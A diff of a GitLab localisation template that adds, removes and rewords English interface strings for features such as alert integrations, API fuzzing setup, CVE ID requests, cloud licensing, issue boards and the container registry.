+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
